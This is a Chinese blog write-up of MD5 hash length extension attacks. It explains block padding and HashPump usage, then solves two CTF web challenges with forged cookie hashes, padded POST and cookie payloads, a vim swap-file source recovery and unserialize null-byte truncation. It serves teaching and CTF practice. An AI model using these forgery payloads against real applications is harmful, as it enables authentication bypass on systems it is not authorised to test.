目錄
  1. 1. hash原理(以MD5为例)
    1. 1.1. 原理浅析
    2. 1.2. 举个例子
  2. 2. hash长度扩展攻击原理
  3. 3. 题目一:salt长度已知
  4. 4. 题目二:salt长度未知
hash长度扩展攻击

hash原理(以MD5为例)

原理浅析

MD5算法输入消息以512bit的分组为单位处理(sha1、sha256也是如此),共64字节。然后对每个分组进行一次“加密”,前一次的“加密”结果会作为这一次“加密”的输入,最后一次“加密”结果即为最终MD5值。不足64字节的分组需要进行补位,也就是字节填充。

补位原则:首先将需要hash的字符串进行分组,即字符串长度(以字节为单位)整除64,最后一组不足56字节的进行字节填充。填充的第一个字节为0x80,其他均为0x00。剩下的8个字节用来表示原字符串的长度。

举个例子

现在需要加密字符串:hash_length_extend_attack,共25字节。

该字符串不足56字节,需进行补位。第一个字节为0x80,其余为0x00,填充至56位。

最后8个字节为原字符串的长度描述符(以bit为单位),25字节共200bit,120转十六进制为0xc8。由于MD5的存储为小端位序。例如0x12345678存为0x78563412。

hash长度扩展攻击原理

md5($salt.string1)已知,则在salt未知的条件下可以求出md5($salt.string1+padding+stirng2)

证明:因为md5($salt.string1)=md5($salt.string1+padding,因此md5($salt.string1+padding+stirng2)即为用md5($salt.string1)$string2+padding进行一次“加密”。

工具:hashpump

安装:

1
2
3
4
5
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

用法:

1
2
3
4
5
6
7
root@kali:~/HashPump# hashpump
Input Signature: 3a4727d57463f122833d9e732f94e4e0 ##md5($salt.string1)
Input Data: ;"tseug":5:s ##string1
Input Key Length: 11 ##salt长度
Input Data to Add: ;"nimda":5:s ##string2
fcdc3840332555511c4e4323f6decb07 ##md5($salt.string1+padding+stirng2)
;"tseug":5:s\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00;"nimda":5:s ##$salt.string1+padding+stirng2

下面结合两个具体题目来实现攻击

题目一:salt长度已知

题目链接:http://www.shiyanbar.com/ctf/1848

username和password输入admin、admin。响应出现:

1
If you have the correct credentials, log in below. If not, please LEAVE.

查看源码,无任何提示。于是抓包分析。发现:

1
Cookie: sample-hash=571580b26c65f306376d4f64e53cb5c7; source=0; Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1553478983,1554089005,1554300942,1554380508; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*130458%2CnickName%3AKANGEL; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1554380518; PHPSESSID=615uqh2qr9s16pr67f9bhs9ur6

cookie中有hash值,有source。将source=0改为source=1,发现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}

熟悉的味道,要注意的是$salt = %secret."admin",长度为20:

1
2
3
4
$salt.string1 = $secret.urldecode("admin"."admin")
$string1 = "admin" //urldecode($username) === "admin"
md5($salt.string1) = "571580b26c65f306376d4f64e53cb5c7" //cookie中的sample-hash
$string2 = "kangel" //urldecode($password) != "admin"

现在利用hashpump计算md5($secret.urldecode("admin"."admin").padding."kangel"),其中$password="admin".padding."kangel"

1
2
3
4
5
6
Input Signature: 571580b26c65f306376d4f64e53cb5c7
Input Data: admin
Input Key Length: 20
Input Data to Add: kangel
04dd497abe8ae2d3c5a7775c2056850e
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00kangel

于是构造cookie:

1
getmein=04dd497abe8ae2d3c5a7775c2056850e

构造post,需要将\x替换为%:

1
2
username=admin
password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00kangel

flag:CTF{cOOkieS_4nd_hAshIng_G0_w3LL_t0g3ther}

题目二:salt长度未知

题目链接:http://web.jarvisoj.com:32778/

查看源码,无提示。

抓包分析,发现cookie中包含信息:

1
2
Cookie: UM_distinctid=167a58b007e9-03c00e05130083-143d7240-100200-167a58b007f190; role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0
Upgrade-Insecure-Requests: 1

既然无任何源码信息,用源码泄露工具扫一波,发现:

1
http://web.jarvisoj.com:32778/index.php~

漏洞朔源:一般网站管理员在日常维护中,总会把网站源码给备份一下,防止网站出现问题时,能马上的恢复使用,不过一般的管理员安全意识不高,在备份的时候,会使用一些常见的压缩备份名以及文件名,而且不光使用常见的备份名字,大部分的管理还会把备份好的源码直接放在网站根目录里。因此很容易被攻击者利用。

该文件为index.php备份文件,先将文件名该文index.php.swp,再使用vim进行恢复

1
vim -r index.php.swp

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

</body>
</html>

熟悉的味道,首先要满足$role==="admin",对“admin”进行序列化得到;"nimda":5:s,而字节填充和strrev()刚好利用unserialize()的%00截断漏洞:

漏洞分析:

1
2
3
4
$salt = $salt   //长度未知
$string1 = strrev(serialize($role)) = ;"tseug":5:s
md5($salt.string1) = “3a4727d57463f122833d9e732f94e4e0” //cookie中的hsh
$string2 = ;"nimda":5:s

现在用hashpump计算md5($salt.strrev($_COOKIE["role"])),salt长度对hash值计算无影响,假设为10

1
2
3
4
5
6
Input Signature: 3a4727d57463f122833d9e732f94e4e0
Input Data: ;"tseug":5:s
Input Key Length: 10
Input Data to Add: ;"nimda":5:s
fcdc3840332555511c4e4323f6decb07
;"tseug":5:s\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x00;"nimda":5:s

得到cookie中的hsh:fcdc3840332555511c4e4323f6decb07,对padding值进行反转,将\x替换为%,进行URL编码:

1
role=s%3a5%3a"admin"%3b%00%00%00%00%00%00%00%b0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3a5%3a"guest"%3b

利用burp进行爆破,最多64次,这里取salt长度为10,11,12,13,14,15作为演示,选取%b0%00%00%00%00%00

1
2
3
4
5
6
%b0%00%00%00%00%00
%b8%00%00%00%00
%c0%00%00%00
%c8%00%00
%d0%00
%d8

文章作者: kangel
文章鏈接: https://j-kangel.github.io/2019/04/05/hash-attack/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL